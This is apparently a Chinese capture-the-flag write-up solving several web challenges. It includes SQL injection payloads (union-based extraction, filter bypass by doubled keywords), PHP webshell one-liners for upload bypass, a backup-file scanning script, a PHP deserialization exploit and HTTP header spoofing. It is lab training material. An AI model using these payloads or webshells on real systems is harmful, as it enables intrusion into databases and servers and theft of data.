Havefun
首先F12,查看源代码
直接出flag
EasySQL
进来,一看就是sql注入题
使用万能密码:username=admin’ or 1=1 # password=1
Secret-File
F12
点击SELECT抓包,放包
得到代码
strstr函数和stristr()
strstr(PHP 4, PHP 5, PHP 7, PHP 8)
strstr — 查找字符串的首次出现
说明
strstr(string $haystack, mixed $needle, bool $before_needle = false): string
返回 haystack 字符串从 needle 第一次出现的位置开始到 haystack 结尾的字符串。
注意:
该函数区分大小写。如果想要不区分大小写,请使用 stristr()。
注意:
如果你仅仅想确定 needle 是否存在于 haystack 中,请使用速度更快、耗费内存更少的 strpos() 函数。
参数
haystack
输入字符串。
needle
如果 needle 不是一个字符串,那么它将被转化为整型并且作为字符的序号来使用。
before_needle
若为 true,strstr() 将返回 needle 在 haystack 中的位置之前的部分。
返回值
返回字符串的一部分或者 false(如果未发现 needle)。
过滤了data,input,我们用filter协议
Knife
直接蚁剑连接,得到flag
HTTP
F12看源码,有Secret.php
HTTP报头加:Referer: https://www.Sycsecret.com
User-Agent: Syclover
使用X-Forwarded-For: 127.0.0.1,得flag
Upload
先常规解法,发现过滤了<?,php后缀
但是phtml可以。
考虑木马的问题
常用的木马
<?php
@eval($_POST[1]);
?>
<?php
$_GET[2]($_POST[1]);
?>
<script language="php">eval($_POST[1]);</script>
只能使用第三个木马,发现传上去了
访问文件,一般都是./upload/filename
后面就是蚁剑的事了。
PHP
首先看备份网站
我们用脚本跑
import requests
url1 = 'http://3499e959-d225-4eed-bfd2-d64918cad17a.node4.buuoj.cn:81/' # url为被扫描地址,后不加‘/’
# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar']
for i in list1:
for j in list2:
back=str(i)+"."+str(j)
url_final=str(url1)+'/'+back
print(back,' ',end='')
print(requests.get(url_final).status_code)
得到文件
开始分析php文件
class.php的代码
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
//绕过__wakeup,使用实际上的属性值小于输入的属性值
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
php反序列化,开始构造
<?php
class Name{
private $username='admin';
private $password=100;
}
$a=new Name();
$b=serialize($a);
$b=str_replace('"Name":2','"Name":5',$b);
//存在private属性,会有不可见字符,urlencode
echo urlencode($b);
?>
Buyflag
点击右上角的payflag,F12发现代码
弱类型绕过,password=404a&money=100000000
抓包,发现cookie不对,将user=1
显示太长,我们用科学计数法
loveSql
查列数
username=admin&password=1’ order by 3 – -
查数据库
username=admin&password=1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 – -
查表:
username=admin&password=1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=“l0ve1ysq1”),3 – -
查数据
username=admin&password=1’ union select 1,(select group_concat(password) from l0ve1ysq1),3 – -
得flag
babysql
本题过滤了,or,and,union,select,*
我们使用双写绕过
查表:
1’ ununionion selselectect 1,(selselectect group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema=database()),3 %23&password=1
查列
1’ ununionion selselectect 1,(selselectect group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_name = ‘b4bsql’),3 %23&password=1
查内容:
1’ ununionion selselectect 1,(seselectlect group_concat(passwoorrd) frfromom b4bsql),3 %23&password=1